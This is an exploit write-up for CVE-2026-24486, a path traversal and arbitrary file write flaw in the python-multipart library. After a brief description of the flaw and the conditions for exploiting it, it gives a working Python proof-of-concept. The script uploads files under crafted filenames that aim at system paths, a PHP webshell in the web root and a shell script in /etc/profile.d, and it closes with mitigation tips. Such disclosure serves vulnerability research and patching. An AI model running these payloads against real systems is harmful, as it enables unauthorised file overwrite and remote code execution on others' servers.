Python-Multipart <0.0.22 - Path Traversal / Arbitrary File Write (CVE-2026-24486)

Exploit Title: Python-Multipart <0.0.22 - Path Traversal / Arbitrary File Write Date: 2026-02-23 Exploit Author: cardosource Vendor Homepage: https://github.com/Kludex/python-multipart Software Link: https://pypi.org/project/python-multipart/ Version: < 0.0.22 Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo) CVE: CVE-2026-24486 Vulnerability Description: Path Traversal vulnerability in python-multipart streaming multipart parser when using non-default options UPLOAD_DIR and UPLOAD_KEEP_FILENAME=True. An attacker can craft a malicious filename to write uploaded files to arbitrary locations on the filesystem. Exploitation Conditions: - Application configures UPLOAD_DIR (custom upload directory) - UPLOAD_KEEP_FILENAME=True (keeps original client filename) - File size exceeds memory limit (triggers disk flush) Impact: Arbitrary file write → potential RCE (e.g., upload webshell to web root), config overwrite, etc. Proof-of-Concept (Python script using requests): import requests import time import os import sys TARGET_URL = "http://localhost:8000/upload" SOURCE_FILE = "/etc/hosts" # Small file to upload (content written to target) if not os.path.exists(SOURCE_FILE): print(f"[!] Source file not found: {SOURCE_FILE}") sys.exit(1) # Malicious filenames (payloads) payloads = [ "/tmp/poc-abs.txt", "/etc/poc-etc.txt", "/root/poc-root.txt", "../../var/www/html/shell.php", "../../etc/profile.d/mal.sh", "../../../tmp/poc-deep.txt", "../../etc/passwd%00.txt", "//etc//poc-double-slash.txt", ] print("[*] CVE-2026-24486 PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Using source file: {SOURCE_FILE}") print(f"[*] Testing {len(payloads)} payloads...\n") for i, filename in enumerate(payloads, 1): print(f"[{i}/{len(payloads)}] Testing: {filename}") try: files = { 'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain') } r = requests.post(TARGET_URL, files=files, timeout=8) print(f" Status: {r.status_code}") if r.text.strip(): print(f" Response: {r.text.strip()}") else: print(" Response: (empty)") except Exception as e: print(f" Error: {e}") print("-" * 50) time.sleep(1.0) print("\n[*] Done.") print("Verify files in container:") print(" docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null") print("\nMitigation:") print(" - Upgrade: pip install python-multipart>=0.0.22") print(" - Avoid UPLOAD_KEEP_FILENAME=True") print(" - Sanitize: filename = os.path.basename(file.filename)")